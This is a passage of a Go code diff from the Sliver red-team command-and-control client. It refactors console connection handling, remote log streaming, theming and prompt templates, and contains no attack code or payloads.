con.Rpc = rpc
con.grpcConn = grpcConn
con.connDetails = details
if con.Rpc == nil || con.grpcConn == nil {
return nil
}
// Clear per-server state that should not be carried across connections.
con.EventListeners = &sync.Map{}
con.BeaconTaskCallbacksMutex.Lock()
con.BeaconTaskCallbacks = map[string]BeaconTaskCallback{}
con.BeaconTaskCallbacksMutex.Unlock()
con.ActiveTarget.Set(nil, nil)
ctx, cancel := context.WithCancel(context.Background())
con.connCancel = cancel
wg := &sync.WaitGroup{}
con.connWg = wg
wg.Add(1)
go func(wg *sync.WaitGroup) {
defer wg.Done()
con.startEventLoop(ctx)
}(wg)
wg.Add(1)
go func(wg *sync.WaitGroup) {
defer wg.Done()
if err := core.TunnelLoop(ctx, con.Rpc); err != nil && !errors.Is(err, context.Canceled) {
log.Printf("TunnelLoop error: %v", err)
}
}(wg)
wg.Add(1)
go func(wg *sync.WaitGroup, conn *grpc.ClientConn) {
defer wg.Done()
con.monitorConnectionLost(ctx, conn)
}(wg, con.grpcConn)
con.refreshRemoteLogStreamsLocked()
return nil
}
// CloseConnection stops background loops and closes the current gRPC connection.
func (con *SliverClient) CloseConnection() error {
con.connMu.Lock()
defer con.connMu.Unlock()
con.detachConnectionLocked()
return nil
}
func (con *SliverClient) detachConnectionLocked() {
// Stop sending remote logs first so background io.Copy loops can't break.
con.setRemoteLogStreamsLocked(nil, nil)
cancel := con.connCancel
con.connCancel = nil
wg := con.connWg
con.connWg = &sync.WaitGroup{}
if cancel != nil {
cancel()
}
if wg != nil {
done := make(chan struct{})
go func() {
wg.Wait()
close(done)
}()
select {
case <-done:
case <-time.After(2 * time.Second):
// Best-effort; we don't want to deadlock a switch/exit.
}
}
if con.grpcConn != nil {
_ = con.grpcConn.Close()
con.grpcConn = nil
}
con.Rpc = nil
con.connDetails = nil
// Tear down any singleton network tooling that was tied to the previous server.
core.ResetClientState()
}
func (con *SliverClient) monitorConnectionLost(ctx context.Context, conn *grpc.ClientConn) {
if conn == nil {
return
}
for {
state := conn.GetState()
if state == connectivity.Idle {
// Mirror the previous behavior from cli/console.go, but only when not canceled.
select {
case <-ctx.Done():
return
default:
}
fmt.Println("\nLost connection to server. Exiting now.")
con.FlushOutput()
//nolint:forbidigo // Explicitly exits to match legacy behavior.
os.Exit(1)
}
if !conn.WaitForStateChange(ctx, state) {
return
}
}
}
+204 -152
View File
@@ -35,6 +35,7 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/client/theme"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -46,6 +47,7 @@ import (
"github.com/reeflective/readline"
"github.com/spf13/cobra"
"golang.org/x/exp/slog"
"google.golang.org/grpc"
"google.golang.org/protobuf/proto"
)
@@ -54,32 +56,10 @@ const (
)
const (
// ANSI Colors.
Normal = "\033[0m"
Black = "\033[30m"
Red = "\033[31m"
Green = "\033[32m"
Orange = "\033[33m"
Blue = "\033[34m"
Purple = "\033[35m"
Cyan = "\033[36m"
Gray = "\033[37m"
Bold = "\033[1m"
Clearln = "\r\x1b[2K"
UpN = "\033[%dA"
DownN = "\033[%dB"
Underline = "\033[4m"
// Info - Display colorful information.
Info = Bold + Cyan + "[*] " + Normal
// Warn - Warn a user.
Warn = Bold + Red + "[!] " + Normal
// Debug - Display debug information.
Debug = Bold + Purple + "[-] " + Normal
// Woot - Display success.
Woot = Bold + Green + "[$] " + Normal
// Success - Diplay success.
Success = Bold + Green + "[+] " + Normal
// Terminal control sequences (not "styling").
Clearln = "\r\x1b[2K"
UpN = "\033[%dA"
DownN = "\033[%dB"
)
// Observer - A function to call when the sessions changes.
@@ -106,6 +86,21 @@ type SliverClient struct {
stdoutPipeWriter *os.File
stdoutPipeDone chan struct{}
stdoutPipeOnce sync.Once
connMu sync.Mutex
grpcConn *grpc.ClientConn
connDetails *ConnectionDetails
connCancel context.CancelFunc
connWg *sync.WaitGroup
connectionHooksApplied bool
logCommandHookApplied bool
// These writers are always safe to use (never error); the underlying stream
// can be swapped on server switch to avoid breaking io.MultiWriter/io.Copy.
jsonRemoteWriter *optionalRemoteWriter
asciicastRemoteWriter *optionalRemoteWriter
jsonRemoteStream rpcpb.SliverRPC_ClientLogClient
asciicastRemoteStream rpcpb.SliverRPC_ClientLogClient
}
// NewConsole creates the sliver client (and console), creating menus and prompts.
@@ -113,6 +108,8 @@ type SliverClient struct {
// thus has not started monitoring any server events, or started the application.
func NewConsole(isServer bool) *SliverClient {
assets.Setup(false, false)
_ = theme.LoadAndSetCurrentTheme()
ApplyTheme(theme.Current())
settings, _ := assets.LoadSettings()
con := &SliverClient{
@@ -126,7 +123,10 @@ func NewConsole(isServer bool) *SliverClient {
BeaconTaskCallbacksMutex: &sync.Mutex{},
IsServer: isServer,
Settings: settings,
connWg: &sync.WaitGroup{},
}
// Ensure logging never panics even if console logs are disabled.
con.jsonHandler = slog.NewJSONHandler(io.Discard, &slog.HandlerOptions{Level: slog.LevelDebug})
// The active target needs access to the console
// to automatically switch between command menus.
@@ -165,8 +165,7 @@ func NewConsole(isServer bool) *SliverClient {
// Init requires a working RPC connection to the sliver server, and 2 different sets of commands.
// If run is true, the console application is started, making this call blocking. Otherwise, commands and
// RPC connection are bound to the console (making the console ready to run), but the console does not start.
func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool, rcScript string) error {
con.Rpc = rpc
func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, grpcConn *grpc.ClientConn, details *ConnectionDetails, serverCmds, sliverCmds console.Commands, run bool, rcScript string) error {
con.IsCLI = !run
con.serverCmds = serverCmds
con.sliverCmds = sliverCmds
@@ -188,39 +187,29 @@ func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, slive
sliver := con.App.Menu(consts.ImplantMenu)
sliver.SetCommands(sliverCmds)
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.allowServerRootCommands)
if shell := con.App.Shell(); shell != nil && shell.Completer != nil {
baseCompleter := shell.Completer
shell.Completer = func(line []rune, cursor int) readline.Completions {
con.prepareCompletion(line, cursor)
return baseCompleter(line, cursor)
}
}
// Events
go con.startEventLoop()
go core.TunnelLoop(rpc)
con.applyConnectionHooksOnce()
// console logger
if con.Settings.ConsoleLogs {
// Classic logs
consoleLog := getConsoleLogFile()
consoleLogStream, err := con.ClientLogStream("json")
if err != nil {
log.Printf("Could not get client json log stream: %s", err)
}
con.setupLogger(consoleLog, consoleLogStream)
con.ensureJSONRemoteWriter()
con.setupLogger(consoleLog, con.jsonRemoteWriter)
defer consoleLog.Close()
// Ascii cast sessions (complete terminal interface).
asciicastLog := getConsoleAsciicastFile()
defer asciicastLog.Close()
// Ascii cast sessions (complete terminal interface) are only useful
// for the interactive console. In CLI mode they would clobber stdout.
if !con.IsCLI {
asciicastLog := getConsoleAsciicastFile()
defer asciicastLog.Close()
asciicastStream, err := con.ClientLogStream("asciicast")
if err != nil {
log.Printf("Could not get client asciicast log stream: %s", err)
con.ensureAsciicastRemoteWriter()
con.setupAsciicastRecord(asciicastLog, con.asciicastRemoteWriter)
}
con.setupAsciicastRecord(asciicastLog, asciicastStream)
}
if err := con.SetConnection(rpc, grpcConn, details); err != nil {
return err
}
if rcScript != "" {
@@ -319,10 +308,29 @@ func (con *SliverClient) runRCLine(serverCmds, sliverCmds console.Commands, line
return nil
}
func (con *SliverClient) startEventLoop() {
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
func (con *SliverClient) applyConnectionHooksOnce() {
con.connMu.Lock()
defer con.connMu.Unlock()
if con.connectionHooksApplied {
return
}
con.connectionHooksApplied = true
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.allowServerRootCommands)
if shell := con.App.Shell(); shell != nil && shell.Completer != nil {
baseCompleter := shell.Completer
shell.Completer = func(line []rune, cursor int) readline.Completions {
con.prepareCompletion(line, cursor)
return baseCompleter(line, cursor)
}
}
}
func (con *SliverClient) startEventLoop(ctx context.Context) {
eventStream, err := con.Rpc.Events(ctx, &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
fmt.Printf("%s%s\n", Warn, err)
return
}
for {
@@ -337,7 +345,7 @@ func (con *SliverClient) startEventLoop() {
switch event.EventType {
case consts.CanaryEvent:
con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (DNS Canary)", Normal, event.Session.Name)
con.PrintEventErrorf("%s %s has been burned (DNS Canary)", StyleBold.Render("WARNING:"), event.Session.Name)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
shortID := strings.Split(session.ID, "-")[0]
@@ -346,7 +354,7 @@ func (con *SliverClient) startEventLoop() {
case consts.WatchtowerEvent:
msg := string(event.Data)
con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (seen on %s)", Normal, event.Session.Name, msg)
con.PrintEventErrorf("%s %s has been burned (seen on %s)", StyleBold.Render("WARNING:"), event.Session.Name, msg)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
shortID := strings.Split(session.ID, "-")[0]
@@ -462,7 +470,7 @@ func (con *SliverClient) triggerReactions(event *clientpb.Event) {
for _, reaction := range reactions {
for _, line := range reaction.Commands {
con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line)
con.PrintInfof("%s '%s'", StyleBold.Render("Execute reaction:"), line)
err := con.App.ActiveMenu().RunCommandLine(context.Background(), line)
if err != nil {
con.PrintErrorf("Reaction command error: %s\n", err)
@@ -514,41 +522,107 @@ func (con *SliverClient) AddBeaconCallback(taskID string, callback BeaconTaskCal
}
func (con *SliverClient) GetPrompt() string {
prompt := Underline + "sliver" + Normal
if con.IsServer {
prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal
promptStyle := assets.PromptStyleHost
if con.Settings != nil {
promptStyle = assets.NormalizePromptStyle(con.Settings.PromptStyle)
}
if con.ActiveTarget.GetSession() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal)
} else if con.ActiveTarget.GetBeacon() != nil {
prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal)
if promptStyle == assets.PromptStyleCustom {
src := assets.DefaultPromptTemplate
if con.Settings != nil && strings.TrimSpace(con.Settings.PromptTemplate) != "" {
src = con.Settings.PromptTemplate
}
out, err := renderPromptTemplate(con, src)
if err != nil {
return Clearln + " > "
}
if strings.TrimSpace(out) == "" {
return Clearln + " > "
}
return Clearln + out
}
prompt := StyleUnderline.Render("sliver")
if con.IsServer {
if promptStyle != assets.PromptStyleBasic {
prompt = StyleBold.Render("[server]") + " " + prompt
}
} else if promptStyle != assets.PromptStyleBasic {
// sliver-client only: optionally include operator/host context.
if details, _, ok := con.CurrentConnection(); ok && details != nil && details.Config != nil {
operator := strings.TrimSpace(details.Config.Operator)
host := strings.TrimSpace(details.Config.LHost)
prefix := ""
switch promptStyle {
case assets.PromptStyleOperatorHost:
if operator != "" && host != "" {
prefix = operator + "@" + host
} else if operator != "" {
prefix = operator
} else if host != "" {
prefix = host
}
case assets.PromptStyleHost:
if host != "" {
prefix = host
}
}
if prefix != "" {
prompt = StyleBoldPrimary.Render("["+prefix+"]") + " " + prompt
}
}
}
if session := con.ActiveTarget.GetSession(); session != nil {
prompt += StyleBoldRed.Render(" (" + session.Name + ")")
} else if beacon := con.ActiveTarget.GetBeacon(); beacon != nil {
prompt += StyleBoldBlue.Render(" (" + beacon.Name + ")")
}
prompt += " > "
return Clearln + prompt
}
func (con *SliverClient) PrintLogo() {
serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{})
// Always show a logo even if the server connection is transiently unavailable.
logo := asciiLogos[util.Intn(len(asciiLogos))]
fmt.Println(strings.ReplaceAll(logo.Render(), "\n", "\r\n"))
fmt.Println("All hackers gain " + abilities[util.Intn(len(abilities))] + "\r")
if con.Rpc == nil {
fmt.Println(Warn + "Not connected to a server\r")
fmt.Printf("%sClient %s\r\n", Info, version.FullVersion())
fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r")
fmt.Println("")
return
}
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
serverVer, err := con.Rpc.GetVersion(ctx, &commonpb.Empty{})
if err != nil {
panic(err.Error())
fmt.Printf("%sCould not query server version: %s\r\n", Warn, err)
fmt.Printf("%sClient %s\r\n", Info, version.FullVersion())
fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r")
fmt.Println("")
con.CheckLastUpdate()
return
}
dirty := ""
if serverVer.Dirty {
dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal)
dirty = " - " + StyleBold.Render("Dirty")
}
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
logo := asciiLogos[util.Intn(len(asciiLogos))]
fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n"))
fmt.Println("All hackers gain " + abilities[util.Intn(len(abilities))] + "\r")
fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty)
fmt.Printf("%sServer v%s - %s%s\r\n", Info, serverSemVer, serverVer.Commit, dirty)
if version.GitCommit != serverVer.Commit {
fmt.Printf(Info+"Client %s\r\n", version.FullVersion())
fmt.Printf("%sClient %s\r\n", Info, version.FullVersion())
}
fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r")
if serverVer.Major != int32(version.SemanticVersion()[0]) {
fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n")
fmt.Print(Warn + "Warning: Client and server may be running incompatible versions.\r\n")
}
fmt.Println("")
con.CheckLastUpdate()
}
@@ -564,7 +638,7 @@ func (con *SliverClient) CheckLastUpdate() {
day := 24 * time.Hour
if compiledAt.Add(30 * day).Before(now) {
if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) {
con.Printf(Info + "Check for updates with the 'update' command\n\n")
con.Printf("%sCheck for updates with the 'update' command\n\n", Info)
}
}
}
@@ -604,7 +678,7 @@ func (con *SliverClient) GetSession(arg string) *clientpb.Session {
func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
fmt.Printf("%s%s\n", Warn, err)
return nil
}
matched := []*clientpb.Session{}
@@ -745,7 +819,7 @@ func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bo
interval = time.Since(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
interval = StyleBoldRed.Render(interval)
}
} else {
if includeDate {
@@ -754,7 +828,7 @@ func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bo
interval = time.Until(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
interval = StyleBoldGreen.Render(interval)
}
}
return interval
@@ -789,7 +863,7 @@ type ActiveTarget struct {
// GetSessionInteractive - Get the active target(s).
func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
if s.session == nil && s.beacon == nil {
fmt.Printf(Warn + "Please select a session or beacon via `use`\n")
fmt.Print(Warn + "Please select a session or beacon via `use`\n")
return nil, nil
}
return s.session, s.beacon
@@ -803,7 +877,7 @@ func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) {
// GetSessionInteractive - GetSessionInteractive the active session.
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
if s.session == nil {
fmt.Printf(Warn + "Please select a session via `use`\n")
fmt.Print(Warn + "Please select a session via `use`\n")
return nil
}
return s.session
@@ -817,7 +891,7 @@ func (s *ActiveTarget) GetSession() *clientpb.Session {
// GetBeaconInteractive - Get beacon interactive the active session.
func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon {
if s.beacon == nil {
fmt.Printf(Warn + "Please select a beacon via `use`\n")
fmt.Print(Warn + "Please select a beacon via `use`\n")
return nil
}
return s.beacon
@@ -1037,82 +1111,60 @@ var abilities = []string{
"jump-start",
}
var asciiLogos = []string{
Red + `
██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░
` + Normal,
type asciiLogoStyle int
Green + `
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
` + Normal,
const (
logoStyleRed asciiLogoStyle = iota
logoStyleGreen
logoStyleBoldGray
)
Bold + Gray + `
type asciiLogo struct {
style asciiLogoStyle
art string
}
func (l asciiLogo) Render() string {
switch l.style {
case logoStyleRed:
return StyleRed.Render(l.art)
case logoStyleGreen:
return StyleGreen.Render(l.art)
case logoStyleBoldGray:
return StyleBoldGray.Render(l.art)
default:
return l.art
}
}
var asciiLogos = []asciiLogo{
{style: logoStyleRed, art: `
██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░
`},
{style: logoStyleGreen, art: `
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
`},
{style: logoStyleBoldGray, art: `
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
` + "`------'`------'`------'`------'`------'`------'" + `
` + Normal,
Purple + `
****@@ @@****
@@@@@@***@ @***@@@@@@
@%%@@@%%#***@ @***#%%@@@%%@
%%%%%##%%%%****@ @****%%%%##%%%%%
%%%%#####%%%%#*###@ @#####%%%%#####%%%%
@%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@
%%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@
#%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%%
%#%===++@*####%@@@@###### ######@@@@%####*@++===%%%
@#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@
#@----%=+*%%%%@@@%%%####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@#
#%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%#
%+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+%
@=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@
-----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==-----
%----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----%
=--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--=
+-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-=
-----==++**#%######################%@@@%%%%@@@%######################%#**++==-----
=--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--=
%-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%#######@@@%+==-%
@=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@
@@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@
@%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@
@%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@
%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%%
%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*%
@%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@
%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%%
@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@
#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%#
@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@
@%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@
@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@
@@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@
@@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@
@%%%% %@@@@@@@@@@@@@ %%%%@
@@ @::@@@@@@@@@@::@ @@
-::::::@@@@:::::::
*-----========-----+
@###%%%@@@@%%%###@
@%%%%%%@
` + Normal,
`},
}
+111 -2
View File
@@ -26,6 +26,7 @@ import (
"os"
"path/filepath"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
@@ -51,6 +52,109 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) {
return len(buf), err
}
// optionalRemoteWriter is an io.Writer that forwards to an optional remote writer.
// It always returns len(buf), nil to avoid breaking io.MultiWriter/io.Copy when
// a remote stream disconnects during a server switch.
type optionalRemoteWriter struct {
mu sync.RWMutex
w io.Writer
}
func (o *optionalRemoteWriter) Set(w io.Writer) {
o.mu.Lock()
o.w = w
o.mu.Unlock()
}
func (o *optionalRemoteWriter) Write(buf []byte) (int, error) {
o.mu.RLock()
w := o.w
o.mu.RUnlock()
if w != nil {
_, _ = w.Write(buf)
}
return len(buf), nil
}
func (con *SliverClient) ensureJSONRemoteWriter() {
con.connMu.Lock()
defer con.connMu.Unlock()
if con.jsonRemoteWriter == nil {
con.jsonRemoteWriter = &optionalRemoteWriter{}
}
}
func (con *SliverClient) ensureAsciicastRemoteWriter() {
con.connMu.Lock()
defer con.connMu.Unlock()
if con.asciicastRemoteWriter == nil {
con.asciicastRemoteWriter = &optionalRemoteWriter{}
}
}
func (con *SliverClient) refreshRemoteLogStreamsLocked() {
// Only refresh if the console logging stack has been initialized.
if con.jsonRemoteWriter == nil && con.asciicastRemoteWriter == nil {
return
}
if con.Rpc == nil {
con.setRemoteLogStreamsLocked(nil, nil)
return
}
var jsonStream *ConsoleClientLogger
var asciicastStream *ConsoleClientLogger
if con.jsonRemoteWriter != nil {
s, err := con.ClientLogStream("json")
if err != nil {
log.Printf("Could not get client json log stream: %s", err)
} else {
jsonStream = s
}
}
if con.asciicastRemoteWriter != nil {
s, err := con.ClientLogStream("asciicast")
if err != nil {
log.Printf("Could not get client asciicast log stream: %s", err)
} else {
asciicastStream = s
}
}
con.setRemoteLogStreamsLocked(jsonStream, asciicastStream)
}
func (con *SliverClient) setRemoteLogStreamsLocked(jsonStream, asciicastStream *ConsoleClientLogger) {
// Detach writers first so background pipes can't hit a closing stream.
if con.jsonRemoteWriter != nil {
con.jsonRemoteWriter.Set(nil)
}
if con.asciicastRemoteWriter != nil {
con.asciicastRemoteWriter.Set(nil)
}
if con.jsonRemoteStream != nil {
_ = con.jsonRemoteStream.CloseSend()
con.jsonRemoteStream = nil
}
if con.asciicastRemoteStream != nil {
_ = con.asciicastRemoteStream.CloseSend()
con.asciicastRemoteStream = nil
}
if jsonStream != nil && con.jsonRemoteWriter != nil {
con.jsonRemoteWriter.Set(jsonStream)
con.jsonRemoteStream = jsonStream.Stream
}
if asciicastStream != nil && con.asciicastRemoteWriter != nil {
con.asciicastRemoteWriter.Set(asciicastStream)
con.asciicastRemoteStream = asciicastStream.Stream
}
}
// ClientLogStream requires a log stream name, used to save the logs
// going through this stream in a specific log subdirectory/file.
func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) {
@@ -69,7 +173,12 @@ func (con *SliverClient) setupLogger(writers ...io.Writer) {
con.jsonHandler = slog.NewJSONHandler(logWriter, jsonOptions)
// Log all commands before running them.
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.logCommand)
con.connMu.Lock()
defer con.connMu.Unlock()
if !con.logCommandHookApplied {
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.logCommand)
con.logCommandHookApplied = true
}
}
// logCommand logs non empty commands to the client log file.
@@ -242,7 +351,7 @@ func (con *SliverClient) PrintWarnf(format string, args ...any) {
logger.Warn(fmt.Sprintf(format, args...))
con.printf(Clearln+"⚠️ "+Normal+format, args...)
con.printf(Clearln+"⚠️ "+format, args...)
}
// PrintErrorf prints an error message immediately below the last line of output.
+216
View File
@@ -0,0 +1,216 @@
package console
import (
"bytes"
"fmt"
"strings"
"sync"
"text/template"
"time"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
type promptPalette struct {
Default lipgloss.Color
Mods map[int]lipgloss.Color
}
type promptColors struct {
Primary promptPalette
Secondary promptPalette
Default promptPalette
Success promptPalette
Warning promptPalette
Danger promptPalette
}
type promptStyles struct {
Normal TextStyle
Bold TextStyle
Underline TextStyle
Primary TextStyle
Secondary TextStyle
Default TextStyle
Success TextStyle
Warning TextStyle
Danger TextStyle
BoldPrimary TextStyle
BoldSecondary TextStyle
BoldDefault TextStyle
BoldSuccess TextStyle
BoldWarning TextStyle
BoldDanger TextStyle
// Legacy names used across the codebase.
Black TextStyle
Red TextStyle
Green TextStyle
Orange TextStyle
Blue TextStyle
Purple TextStyle
Cyan TextStyle
Gray TextStyle
}
type promptTarget struct {
SessionName string
BeaconName string
// Suffix is a pre-rendered, themed " (name)" segment matching the default prompt.
Suffix string
}
type promptTemplateContext struct {
Now time.Time
IsServer bool
Connected bool
Operator string
Host string
Port int
HostPort string
Target promptTarget
Colors promptColors
Styles promptStyles
}
var promptTemplateCache struct {
mu sync.RWMutex
src string
tpl *template.Template
}
func toPromptPalette(p theme.Palette) promptPalette {
out := promptPalette{
Default: lipgloss.Color(p.Default),
Mods: map[int]lipgloss.Color{},
}
for k, v := range p.Mods {
out.Mods[k] = lipgloss.Color(v)
}
return out
}
func promptTemplateForSource(src string) (*template.Template, error) {
promptTemplateCache.mu.RLock()
if promptTemplateCache.tpl != nil && promptTemplateCache.src == src {
t := promptTemplateCache.tpl
promptTemplateCache.mu.RUnlock()
return t, nil
}
promptTemplateCache.mu.RUnlock()
t, err := template.New("sliver-prompt").Option("missingkey=zero").Parse(src)
if err != nil {
return nil, err
}
promptTemplateCache.mu.Lock()
